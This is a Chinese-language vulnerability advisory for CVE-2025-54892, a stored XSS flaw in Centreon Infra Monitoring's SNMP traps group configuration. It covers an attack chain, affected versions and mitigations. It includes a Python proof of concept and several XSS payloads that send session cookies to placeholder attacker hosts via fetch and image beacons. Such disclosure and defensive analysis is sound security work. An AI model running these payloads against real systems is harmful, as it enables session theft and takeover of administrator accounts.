IPBUF安全漏洞报告
English
CVE-2025-54892 CVSS 6.8 中危

CVE-2025-54892 Centreon Infra Monitoring SNMP配置存储型XSS漏洞

披露日期: 2025-10-14
来源: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

漏洞信息

漏洞编号
CVE-2025-54892
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Centreon Infra Monitoring

相关标签

Stored XSS跨站脚本CWE-79CentreonInfra MonitoringSNMP配置输入验证缺陷Web应用安全权限提升中危漏洞

漏洞概述

CVE-2025-54892是Centreon Infra Monitoring平台SNMP traps组配置模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入未能进行充分的中和化处理(Improper Neutralization of Input),属于CWE-79类漏洞。Centreon是一款广泛使用的开源IT基础设施监控软件,被众多企业用于网络、服务器和应用的集中监控管理。该漏洞允许具有提升权限的用户(如管理员或具有配置权限的操作员)在SNMP traps组配置模块中注入恶意的JavaScript脚本或HTML代码。这些恶意载荷会被持久化存储在服务端数据库中,每当其他用户(包括高权限管理员)访问相关配置页面时,恶意脚本将在受害者浏览器中自动执行。由于漏洞的存储型特性,攻击影响范围广且持续时间长。CVSS 3.1评分为6.8分,属于中危级别,其向量表明该漏洞通过网络利用、需要高权限认证、无需用户交互、范围变更、对机密性影响较高。Centreon官方已发布安全公告,建议用户尽快升级到修复版本以消除风险。

技术细节

该漏洞存在于Centreon Infra Monitoring的SNMP traps group configuration模块中。当具有提升权限的用户在配置SNMP陷阱组时,应用程序未能对用户提交的输入字段(如组名称、描述、OID等配置参数)进行充分的HTML/JavaScript编码或过滤。攻击者可以在这些输入字段中插入恶意脚本代码,例如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于缺乏输出编码(Output Encoding),恶意载荷被直接存储到后端数据库中。当其他用户(尤其是管理员)查看SNMP traps配置页面时,服务器从数据库中读取并将这些未净化的数据嵌入到HTML响应中返回给浏览器,浏览器将其解析为可执行脚本。攻击者可以利用此漏洞窃取管理员会话Cookie、执行未授权操作、进行权限提升、植入Webshell后门,或通过管理员权限进一步渗透整个监控系统。由于漏洞需要高权限认证(PR:H),普通用户无法直接利用,但一旦管理员被诱骗或被社工访问恶意页面,将造成严重的安全后果。漏洞利用链通常涉及:1)攻击者获取具有配置权限的账户;2)在SNMP traps配置中注入XSS载荷;3)等待管理员访问配置页面触发脚本执行;4)窃取会话或执行特权操作。

攻击链分析

STEP 1
步骤1:获取初始访问权限
攻击者通过社工、钓鱼或利用其他漏洞获取Centreon Infra Monitoring平台上具有SNMP配置权限的账户(PR:H要求),该账户通常为管理员或高级操作员角色。
STEP 2
步骤2:注入恶意XSS载荷
攻击者登录系统后,导航至SNMP traps组配置模块,在组名称、别名或描述等输入字段中注入精心构造的恶意JavaScript代码或HTML标签。
STEP 3
步骤3:载荷持久化存储
由于应用未对输入进行充分的中和化处理,恶意载荷被直接存储到后端数据库中,形成存储型XSS的持久化威胁。
STEP 4
步骤4:触发恶意脚本执行
当其他用户(尤其是高权限管理员)访问SNMP traps配置页面查看或管理配置时,服务器返回包含未净化数据的HTML页面,浏览器解析并执行恶意脚本。
STEP 5
步骤5:窃取敏感信息或执行特权操作
恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、CSRF Token,或利用管理员权限执行未授权操作,如创建后门账户、修改监控配置、访问敏感数据等。
STEP 6
步骤6:横向渗透与持久化
攻击者利用获取的高权限账户进一步渗透网络,可能修改监控规则以隐藏恶意活动、植入Webshell后门,或利用Centreon的远程执行功能在监控主机上执行命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54892 - Centreon Infra Monitoring SNMP Traps Stored XSS PoC # Vulnerability: Stored XSS in SNMP traps group configuration module # Affected: Centreon 24.10.0-24.10.12, 24.04.0-24.04.17, 23.10.0-23.10.27 import requests TARGET_URL = "https://target-centreon.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to Centreon web interface session = requests.Session() login_url = f"{TARGET_URL}/centreon/api/latest/login" login_payload = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } response = session.post(login_url, json=login_payload) print(f"[*] Login response: {response.status_code}") # Step 2: Navigate to SNMP traps group configuration # Inject malicious JavaScript payload into the group name or alias field xss_payload = "<script>fetch('https://attacker.example.com/steal?cookie='+encodeURIComponent(document.cookie))</script>" # Alternative payloads for evasion: # xss_payload = '<img src=x onerror="var i=new Image();i.src=\'https://attacker.example.com/steal?c=\'+document.cookie;">' # xss_payload = '<svg/onload=fetch("https://attacker.example.com/"+document.cookie)>' snmp_group_config = { "name": f"TrapGroup_{xss_payload}", "alias": xss_payload, "traps": [], "comments": xss_payload } # Step 3: Submit the malicious configuration via API config_url = f"{TARGET_URL}/centreon/api/latest/configuration/traps-group" response = session.post(config_url, json=snmp_group_config) print(f"[*] Payload stored: {response.status_code}") # Step 4: When an admin visits the SNMP traps configuration page, # the stored XSS will execute automatically, sending session cookies # to the attacker's controlled server print("[+] XSS payload successfully stored. Waiting for admin to trigger...") print(f"[+] Payload used: {xss_payload}")

影响范围

Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查并限制能够访问SNMP traps组配置模块的用户,仅授予必要的最小权限;2)部署或更新Web应用防火墙(WAF)规则,添加针对SNMP配置接口的XSS检测规则;3)在HTTP响应头中添加Content-Security-Policy(CSP),限制内联脚本执行;4)确保所有会话Cookie设置HttpOnly标志,防止通过XSS窃取会话;5)定期审计SNMP traps配置数据,排查可疑的脚本标签和事件处理器;6)监控管理员账户的异常登录和操作行为;7)考虑在反向代理层面添加输入过滤规则,对提交到配置接口的请求进行预过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表